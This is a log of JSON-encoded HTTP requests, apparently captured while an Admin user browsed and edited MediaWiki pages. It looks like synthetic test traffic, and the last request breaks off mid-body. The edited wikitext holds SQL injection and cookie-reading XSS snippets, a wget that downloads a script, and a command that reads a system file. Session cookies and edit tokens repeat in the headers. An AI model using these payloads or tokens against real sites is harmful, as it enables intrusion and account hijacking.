{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 285", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&text=%3D%3D+Install+%3D%3D%0ARun+ls+-la+and+ls+-la.%0A&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 293", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+ls+-la&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&stashedtexthash=f07484bed3f5b98cd35dde3b0bd6cdf21f92e3a9&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3GpLRJRpxgavKDbi", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200102\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun ls -la and ls -la.\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ ls -la\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8fac1bdf706f6473175c200445103a4f6af2267e+\\\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi--\r\n"}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=ls+-la&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+ls+-la.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1673", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 323", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3220", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLoHFNq5gnNDYTlcP", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1726", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytGGUHVisK39cQRtQ", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; 